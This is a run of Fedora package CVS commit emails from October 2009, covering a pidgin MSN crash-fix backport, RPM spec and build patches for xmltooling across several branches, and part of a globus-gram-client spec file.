Date: Mon, 19 Oct 2009 18:09:11 +0000 (UTC)
Subject: rpms/pidgin/devel pidgin-2.6.3-msn_servconn_disconnect-crash.patch, 
	NONE, 1.1 pidgin.spec, 1.98, 1.99
Message-ID: <20091019180911.B068011C00DC@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/pidgin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29946

Modified Files:
	pidgin.spec 
Added Files:
	pidgin-2.6.3-msn_servconn_disconnect-crash.patch 
Log Message:
- Upstream backport:
    3abad7606f4a2dfd1903df796f33924b12509a56 msn_servconn_disconnect-crash


pidgin-2.6.3-msn_servconn_disconnect-crash.patch:
 servconn.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE pidgin-2.6.3-msn_servconn_disconnect-crash.patch ---
(rediffed to apply against pidgin-2.6.3)
Revision: 3abad7606f4a2dfd1903df796f33924b12509a56
Ancestor: b4b3896d31eb6bef2433b251108f94dd5b04f06c
Author: sadrul at pidgin.im
Date: 2009-10-11T19:20:44
Branch: im.pidgin.pidgin

Modified files:
        libpurple/protocols/msn/servconn.c

ChangeLog:

Swap two lines to fix a crash.

msn_servconn_disconnect can destroy servconn, which makes it crash on the
next line. So reset the idle-handler before going into that function.

--- libpurple/protocols/msn/servconn.c.orig	2009-10-19 14:06:02.437920569 -0400
+++ libpurple/protocols/msn/servconn.c	2009-10-19 14:06:33.318661341 -0400
@@ -299,8 +299,8 @@
 static gboolean
 servconn_idle_timeout_cb(MsnServConn *servconn)
 {
-	msn_servconn_disconnect(servconn);
 	servconn->timeout_handle = 0;
+	msn_servconn_disconnect(servconn);
 	return FALSE;
 }
 


Index: pidgin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/devel/pidgin.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- pidgin.spec	16 Oct 2009 19:26:40 -0000	1.98
+++ pidgin.spec	19 Oct 2009 18:09:11 -0000	1.99
@@ -119,6 +119,7 @@ Patch0: pidgin-NOT-UPSTREAM-2.5.2-rhel4-
 Patch101: pidgin-2.6.2-yahoo-buddy-idle-time.patch
 Patch102: pidgin-2.6.2-yahoo-status-change-away.patch
 Patch103: pidgin-2.6.2-crash-validate-jid.patch
+Patch104: pidgin-2.6.3-msn_servconn_disconnect-crash.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-root
 Summary:	A Gtk+ based multiprotocol instant messaging client
@@ -379,6 +380,7 @@ echo "FEDORA=%{fedora} RHEL=%{rhel}"
 %patch101 -p0 -b .yahoo-buddy-idle-time
 %patch102 -p0 -b .yahoo-status-change-away
 %patch103 -p0 -b .pidgin-2.6.2-crash-validate-jid
+%patch104 -p0 -b .msn_servconn_disconnect-crash
 
 # Our preferences
 cp %{SOURCE1} prefs.xml
@@ -623,6 +625,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> 2.6.3-2
+- Upstream backport:
+    3abad7606f4a2dfd1903df796f33924b12509a56 msn_servconn_disconnect-crash
+
 * Fri Oct 16 2009 Warren Togami <wtogami at redhat.com> 2.6.3-1
 - 2.6.3 CVE-2009-3615
 



From stevetraylen at fedoraproject.org  Mon Oct 19 18:09:26 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Mon, 19 Oct 2009 18:09:26 +0000 (UTC)
Subject: rpms/xmltooling/EL-4 xmltooling-python-cxxtest.patch, NONE,
	1.1 xmltooling.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091019180926.BD99711C00DC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/xmltooling/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29850/EL-4

Modified Files:
	sources 
Added Files:
	xmltooling-python-cxxtest.patch xmltooling.spec 
Log Message:
First branches to existing OS.


xmltooling-python-cxxtest.patch:
 configure.ac |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE xmltooling-python-cxxtest.patch ---
diff -uNr xmltooling-1.2.2.ORIG/configure.ac xmltooling-1.2.2/configure.ac
--- xmltooling-1.2.2.ORIG/configure.ac	2009-10-05 19:13:14.066951091 +0200
+++ xmltooling-1.2.2/configure.ac	2009-10-05 19:13:54.945200753 +0200
@@ -346,12 +346,12 @@
         )
 
 # Check for unit test support
-CXXTEST="/usr/bin/cxxtestgen.pl"
+CXXTEST="/usr/bin/cxxtestgen"
 CXXTESTFLAGS=""
 AC_ARG_WITH(cxxtest,
             AC_HELP_STRING([--with-cxxtest=PATH], [where cxxtest is installed]),
             [if test x_$with_cxxtest != x_/usr; then
-                CXXTEST="${with_cxxtest}/cxxtestgen.pl"
+                CXXTEST="${with_cxxtest}/cxxtestgen"
                 CXXTESTFLAGS="-I${with_cxxtest}"
             fi])
 if ! test -f "${CXXTEST}"; then


--- NEW FILE xmltooling.spec ---
Name:           xmltooling
Version:        1.2.2
Release:        3%{?dist}
Summary:        XML signing and encrytion library

Group:          System Environment/Libraries
License:        ASL 2.0
URL:            https://spaces.internet2.edu/display/OpenSAML/XMLTooling-C
Source0:        http://shibboleth.internet2.edu/downloads/opensaml/cpp/2.2.1/xmltooling-%{version}.tar.gz
Patch0:         %{name}-python-cxxtest.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  xml-security-c-devel
#cxxtest is not available in EPEL4.
# so skip it.
%if "%{?rhel}" != "4"
BuildRequires:  cxxtest
%endif
BuildRequires:  log4cpp-devel
BuildRequires:  xerces-c-devel
BuildRequires:  doxygen

%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:  libcurl-devel
%else
BuildRequires:  curl-devel
%endif

# To bring in /usr/share/xml
Requires:       xml-common

# Needed since we are doing and autoreconf
# below.
BuildRequires:  automake
BuildRequires:  autoconf
BuildRequires:  libtool


%description
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

%package doc
Group: Documentation
Summary: XML signing and encrytion library documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:      noarch
%endif

%description doc
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

This %{name}-doc package contains documentation.

%package devel
Group: System Environment/Libraries
Summary: XML signing and encrytion library development files
Requires: %{name} = %{version}-%{release}

%description devel
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

This %{name}-devel package contains header files.


%prep
%setup -q
%patch0 -p1


%build
aclocal 
autoconf
autoheader
automake --add-missing --copy
libtoolize --copy --force

%if "%{?rhel}" == "4"
%configure --without-cxxtest
%else
%configure 
%endif
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# Don't need the unit test executer.
rm -f $RPM_BUILD_ROOT/%{_bindir}/xmltoolingtest

%check
make check


%clean
rm -rf $RPM_BUILD_ROOT


%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%{_libdir}/*.so.*
%{_datadir}/xml/xmltooling
%doc doc/README.txt doc/LICENSE.txt

%files doc
%defattr(-,root,root,-)
%doc doc/api/html

%files devel
%defattr(-,root,root,-)
%{_includedir}/%{name}
%{_libdir}/*.so

%changelog
* Mon Oct 19 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-3
- Disable cxxtests for EPEL4 only.
* Sat Oct 17 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-2
- Change Source URL to be permanent rather than contain "latest"
- Require xml-common to bring in /usr/share/xml
* Mon Oct 5 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-1
- First Build



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xmltooling/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:05:12 -0000	1.1
+++ sources	19 Oct 2009 18:09:26 -0000	1.2
@@ -0,0 +1 @@
+2331cbcf257319c40854cefd1783fa96  xmltooling-1.2.2.tar.gz



From stevetraylen at fedoraproject.org  Mon Oct 19 18:09:26 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Mon, 19 Oct 2009 18:09:26 +0000 (UTC)
Subject: rpms/xmltooling/EL-5 xmltooling-python-cxxtest.patch, NONE,
	1.1 xmltooling.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091019180926.EBFC011C00DC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/xmltooling/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29850/EL-5

Modified Files:
	sources 
Added Files:
	xmltooling-python-cxxtest.patch xmltooling.spec 
Log Message:
First branches to existing OS.


xmltooling-python-cxxtest.patch:
 configure.ac |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE xmltooling-python-cxxtest.patch ---
diff -uNr xmltooling-1.2.2.ORIG/configure.ac xmltooling-1.2.2/configure.ac
--- xmltooling-1.2.2.ORIG/configure.ac	2009-10-05 19:13:14.066951091 +0200
+++ xmltooling-1.2.2/configure.ac	2009-10-05 19:13:54.945200753 +0200
@@ -346,12 +346,12 @@
         )
 
 # Check for unit test support
-CXXTEST="/usr/bin/cxxtestgen.pl"
+CXXTEST="/usr/bin/cxxtestgen"
 CXXTESTFLAGS=""
 AC_ARG_WITH(cxxtest,
             AC_HELP_STRING([--with-cxxtest=PATH], [where cxxtest is installed]),
             [if test x_$with_cxxtest != x_/usr; then
-                CXXTEST="${with_cxxtest}/cxxtestgen.pl"
+                CXXTEST="${with_cxxtest}/cxxtestgen"
                 CXXTESTFLAGS="-I${with_cxxtest}"
             fi])
 if ! test -f "${CXXTEST}"; then


--- NEW FILE xmltooling.spec ---
Name:           xmltooling
Version:        1.2.2
Release:        3%{?dist}
Summary:        XML signing and encrytion library

Group:          System Environment/Libraries
License:        ASL 2.0
URL:            https://spaces.internet2.edu/display/OpenSAML/XMLTooling-C
Source0:        http://shibboleth.internet2.edu/downloads/opensaml/cpp/2.2.1/xmltooling-%{version}.tar.gz
Patch0:         %{name}-python-cxxtest.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  xml-security-c-devel
#cxxtest is not available in EPEL4.
# so skip it.
%if "%{?rhel}" != "4"
BuildRequires:  cxxtest
%endif
BuildRequires:  log4cpp-devel
BuildRequires:  xerces-c-devel
BuildRequires:  doxygen

%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:  libcurl-devel
%else
BuildRequires:  curl-devel
%endif

# To bring in /usr/share/xml
Requires:       xml-common

# Needed since we are doing and autoreconf
# below.
BuildRequires:  automake
BuildRequires:  autoconf
BuildRequires:  libtool


%description
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

%package doc
Group: Documentation
Summary: XML signing and encrytion library documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:      noarch
%endif

%description doc
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

This %{name}-doc package contains documentation.

%package devel
Group: System Environment/Libraries
Summary: XML signing and encrytion library development files
Requires: %{name} = %{version}-%{release}

%description devel
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

This %{name}-devel package contains header files.


%prep
%setup -q
%patch0 -p1


%build
aclocal 
autoconf
autoheader
automake --add-missing --copy
libtoolize --copy --force

%if "%{?rhel}" == "4"
%configure --without-cxxtest
%else
%configure 
%endif
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# Don't need the unit test executer.
rm -f $RPM_BUILD_ROOT/%{_bindir}/xmltoolingtest

%check
make check


%clean
rm -rf $RPM_BUILD_ROOT


%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%{_libdir}/*.so.*
%{_datadir}/xml/xmltooling
%doc doc/README.txt doc/LICENSE.txt

%files doc
%defattr(-,root,root,-)
%doc doc/api/html

%files devel
%defattr(-,root,root,-)
%{_includedir}/%{name}
%{_libdir}/*.so

%changelog
* Mon Oct 19 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-3
- Disable cxxtests for EPEL4 only.
* Sat Oct 17 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-2
- Change Source URL to be permanent rather than contain "latest"
- Require xml-common to bring in /usr/share/xml
* Mon Oct 5 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-1
- First Build



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xmltooling/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:05:12 -0000	1.1
+++ sources	19 Oct 2009 18:09:26 -0000	1.2
@@ -0,0 +1 @@
+2331cbcf257319c40854cefd1783fa96  xmltooling-1.2.2.tar.gz



From stevetraylen at fedoraproject.org  Mon Oct 19 18:09:27 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Mon, 19 Oct 2009 18:09:27 +0000 (UTC)
Subject: rpms/xmltooling/devel xmltooling.spec,1.1,1.2
Message-ID: <20091019180927.96AD011C00DC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/xmltooling/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29850/devel

Modified Files:
	xmltooling.spec 
Log Message:
First branches to existing OS.



Index: xmltooling.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xmltooling/devel/xmltooling.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xmltooling.spec	19 Oct 2009 17:08:14 -0000	1.1
+++ xmltooling.spec	19 Oct 2009 18:09:27 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           xmltooling
 Version:        1.2.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        XML signing and encrytion library
 
 Group:          System Environment/Libraries
@@ -11,7 +11,11 @@ Patch0:         %{name}-python-cxxtest.p
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  xml-security-c-devel
+#cxxtest is not available in EPEL4.
+# so skip it.
+%if "%{?rhel}" != "4"
 BuildRequires:  cxxtest
+%endif
 BuildRequires:  log4cpp-devel
 BuildRequires:  xerces-c-devel
 BuildRequires:  doxygen
@@ -82,7 +86,11 @@ autoheader
 automake --add-missing --copy
 libtoolize --copy --force
 
+%if "%{?rhel}" == "4"
+%configure --without-cxxtest
+%else
 %configure 
+%endif
 make %{?_smp_mflags}
 
 
@@ -119,6 +127,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 
 %changelog
+* Mon Oct 19 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-3
+- Disable cxxtests for EPEL4 only.
 * Sat Oct 17 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-2
 - Change Source URL to be permanent rather than contain "latest"
 - Require xml-common to bring in /usr/share/xml



From stevetraylen at fedoraproject.org  Mon Oct 19 18:09:27 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Mon, 19 Oct 2009 18:09:27 +0000 (UTC)
Subject: rpms/xmltooling/F-12 xmltooling-python-cxxtest.patch, NONE,
	1.1 xmltooling.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091019180927.719DF11C00DC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/xmltooling/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29850/F-12

Modified Files:
	sources 
Added Files:
	xmltooling-python-cxxtest.patch xmltooling.spec 
Log Message:
First branches to existing OS.


xmltooling-python-cxxtest.patch:
 configure.ac |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE xmltooling-python-cxxtest.patch ---
diff -uNr xmltooling-1.2.2.ORIG/configure.ac xmltooling-1.2.2/configure.ac
--- xmltooling-1.2.2.ORIG/configure.ac	2009-10-05 19:13:14.066951091 +0200
+++ xmltooling-1.2.2/configure.ac	2009-10-05 19:13:54.945200753 +0200
@@ -346,12 +346,12 @@
         )
 
 # Check for unit test support
-CXXTEST="/usr/bin/cxxtestgen.pl"
+CXXTEST="/usr/bin/cxxtestgen"
 CXXTESTFLAGS=""
 AC_ARG_WITH(cxxtest,
             AC_HELP_STRING([--with-cxxtest=PATH], [where cxxtest is installed]),
             [if test x_$with_cxxtest != x_/usr; then
-                CXXTEST="${with_cxxtest}/cxxtestgen.pl"
+                CXXTEST="${with_cxxtest}/cxxtestgen"
                 CXXTESTFLAGS="-I${with_cxxtest}"
             fi])
 if ! test -f "${CXXTEST}"; then


--- NEW FILE xmltooling.spec ---
Name:           xmltooling
Version:        1.2.2
Release:        3%{?dist}
Summary:        XML signing and encrytion library

Group:          System Environment/Libraries
License:        ASL 2.0
URL:            https://spaces.internet2.edu/display/OpenSAML/XMLTooling-C
Source0:        http://shibboleth.internet2.edu/downloads/opensaml/cpp/2.2.1/xmltooling-%{version}.tar.gz
Patch0:         %{name}-python-cxxtest.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  xml-security-c-devel
#cxxtest is not available in EPEL4.
# so skip it.
%if "%{?rhel}" != "4"
BuildRequires:  cxxtest
%endif
BuildRequires:  log4cpp-devel
BuildRequires:  xerces-c-devel
BuildRequires:  doxygen

%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:  libcurl-devel
%else
BuildRequires:  curl-devel
%endif

# To bring in /usr/share/xml
Requires:       xml-common

# Needed since we are doing and autoreconf
# below.
BuildRequires:  automake
BuildRequires:  autoconf
BuildRequires:  libtool


%description
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

%package doc
Group: Documentation
Summary: XML signing and encrytion library documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:      noarch
%endif

%description doc
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

This %{name}-doc package contains documentation.

%package devel
Group: System Environment/Libraries
Summary: XML signing and encrytion library development files
Requires: %{name} = %{version}-%{release}

%description devel
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

This %{name}-devel package contains header files.


%prep
%setup -q
%patch0 -p1


%build
aclocal 
autoconf
autoheader
automake --add-missing --copy
libtoolize --copy --force

%if "%{?rhel}" == "4"
%configure --without-cxxtest
%else
%configure 
%endif
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# Don't need the unit test executer.
rm -f $RPM_BUILD_ROOT/%{_bindir}/xmltoolingtest

%check
make check


%clean
rm -rf $RPM_BUILD_ROOT


%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%{_libdir}/*.so.*
%{_datadir}/xml/xmltooling
%doc doc/README.txt doc/LICENSE.txt

%files doc
%defattr(-,root,root,-)
%doc doc/api/html

%files devel
%defattr(-,root,root,-)
%{_includedir}/%{name}
%{_libdir}/*.so

%changelog
* Mon Oct 19 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-3
- Disable cxxtests for EPEL4 only.
* Sat Oct 17 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-2
- Change Source URL to be permanent rather than contain "latest"
- Require xml-common to bring in /usr/share/xml
* Mon Oct 5 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-1
- First Build



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xmltooling/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:05:12 -0000	1.1
+++ sources	19 Oct 2009 18:09:27 -0000	1.2
@@ -0,0 +1 @@
+2331cbcf257319c40854cefd1783fa96  xmltooling-1.2.2.tar.gz



From stevetraylen at fedoraproject.org  Mon Oct 19 18:09:27 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Mon, 19 Oct 2009 18:09:27 +0000 (UTC)
Subject: rpms/xmltooling/F-11 xmltooling-python-cxxtest.patch, NONE,
	1.1 xmltooling.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091019180927.36A0911C00DC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/xmltooling/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29850/F-11

Modified Files:
	sources 
Added Files:
	xmltooling-python-cxxtest.patch xmltooling.spec 
Log Message:
First branches to existing OS.


xmltooling-python-cxxtest.patch:
 configure.ac |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE xmltooling-python-cxxtest.patch ---
diff -uNr xmltooling-1.2.2.ORIG/configure.ac xmltooling-1.2.2/configure.ac
--- xmltooling-1.2.2.ORIG/configure.ac	2009-10-05 19:13:14.066951091 +0200
+++ xmltooling-1.2.2/configure.ac	2009-10-05 19:13:54.945200753 +0200
@@ -346,12 +346,12 @@
         )
 
 # Check for unit test support
-CXXTEST="/usr/bin/cxxtestgen.pl"
+CXXTEST="/usr/bin/cxxtestgen"
 CXXTESTFLAGS=""
 AC_ARG_WITH(cxxtest,
             AC_HELP_STRING([--with-cxxtest=PATH], [where cxxtest is installed]),
             [if test x_$with_cxxtest != x_/usr; then
-                CXXTEST="${with_cxxtest}/cxxtestgen.pl"
+                CXXTEST="${with_cxxtest}/cxxtestgen"
                 CXXTESTFLAGS="-I${with_cxxtest}"
             fi])
 if ! test -f "${CXXTEST}"; then


--- NEW FILE xmltooling.spec ---
Name:           xmltooling
Version:        1.2.2
Release:        3%{?dist}
Summary:        XML signing and encrytion library

Group:          System Environment/Libraries
License:        ASL 2.0
URL:            https://spaces.internet2.edu/display/OpenSAML/XMLTooling-C
Source0:        http://shibboleth.internet2.edu/downloads/opensaml/cpp/2.2.1/xmltooling-%{version}.tar.gz
Patch0:         %{name}-python-cxxtest.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  xml-security-c-devel
#cxxtest is not available in EPEL4.
# so skip it.
%if "%{?rhel}" != "4"
BuildRequires:  cxxtest
%endif
BuildRequires:  log4cpp-devel
BuildRequires:  xerces-c-devel
BuildRequires:  doxygen

%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:  libcurl-devel
%else
BuildRequires:  curl-devel
%endif

# To bring in /usr/share/xml
Requires:       xml-common

# Needed since we are doing and autoreconf
# below.
BuildRequires:  automake
BuildRequires:  autoconf
BuildRequires:  libtool


%description
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

%package doc
Group: Documentation
Summary: XML signing and encrytion library documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:      noarch
%endif

%description doc
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

This %{name}-doc package contains documentation.

%package devel
Group: System Environment/Libraries
Summary: XML signing and encrytion library development files
Requires: %{name} = %{version}-%{release}

%description devel
The XMLTooling library contains generic XML parsing and processing
classes based on the Xerces-C DOM. It adds more powerful facilities
for declaring element- and type-specific API and implementation
classes to add value around the DOM, as well as signing and encryption
support.

This %{name}-devel package contains header files.


%prep
%setup -q
%patch0 -p1


%build
aclocal 
autoconf
autoheader
automake --add-missing --copy
libtoolize --copy --force

%if "%{?rhel}" == "4"
%configure --without-cxxtest
%else
%configure 
%endif
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# Don't need the unit test executer.
rm -f $RPM_BUILD_ROOT/%{_bindir}/xmltoolingtest

%check
make check


%clean
rm -rf $RPM_BUILD_ROOT


%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%{_libdir}/*.so.*
%{_datadir}/xml/xmltooling
%doc doc/README.txt doc/LICENSE.txt

%files doc
%defattr(-,root,root,-)
%doc doc/api/html

%files devel
%defattr(-,root,root,-)
%{_includedir}/%{name}
%{_libdir}/*.so

%changelog
* Mon Oct 19 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-3
- Disable cxxtests for EPEL4 only.
* Sat Oct 17 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-2
- Change Source URL to be permanent rather than contain "latest"
- Require xml-common to bring in /usr/share/xml
* Mon Oct 5 2009 Steve Traylen <steve.traylen at cern.ch> 1.2.2-1
- First Build



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xmltooling/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:05:12 -0000	1.1
+++ sources	19 Oct 2009 18:09:27 -0000	1.2
@@ -0,0 +1 @@
+2331cbcf257319c40854cefd1783fa96  xmltooling-1.2.2.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 18:10:05 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:10:05 +0000 (UTC)
Subject: rpms/globus-gram-client/F-11 globus-gram-client-doxygen.patch, NONE,
	1.1 globus-gram-client.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019181005.B46FA11C02A6@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gram-client/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30349/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gram-client-doxygen.patch globus-gram-client.spec 
	import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.2-1
- Autogenerated


globus-gram-client-doxygen.patch:
 globus_gram_client_attr.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE globus-gram-client-doxygen.patch ---
diff -ur globus_gram_client-7.2.orig/globus_gram_client_attr.c globus_gram_client-7.2/globus_gram_client_attr.c
--- globus_gram_client-7.2.orig/globus_gram_client_attr.c	2007-02-27 23:10:00.000000000 +0100
+++ globus_gram_client-7.2/globus_gram_client_attr.c	2009-08-06 07:16:34.370219417 +0200
@@ -191,7 +191,7 @@
  *
  * @param attr
  *     The attribute set to update.
- * @param credential
+ * @param mode
  *     The new value of the delegation mode.
  *
  * @retval GLOBUS_GRAM_PROTOCOL_ERROR_INVALID_ATTR
@@ -230,7 +230,7 @@
  *
  * @param attr
  *     The attribute set to query.
- * @param credential
+ * @param mode
  *     Pointer to a location to set to the value of the delegation mode.
  *
  * @retval GLOBUS_GRAM_PROTOCOL_ERROR_INVALID_ATTR


--- NEW FILE globus-gram-client.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gram-client
%global _name %(tr - _ <<< %{name})
Version:	7.2
Release:	1%{?dist}
Summary:	Globus Toolkit - GRAM Client Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gram/client/source globus_gram_client-7.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gram_client-7.2
#		tar -zcf globus_gram_client-7.2.tar.gz globus_gram_client-7.2
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Fix some doxygen warnings:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6828
Patch0:		%{name}-doxygen.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
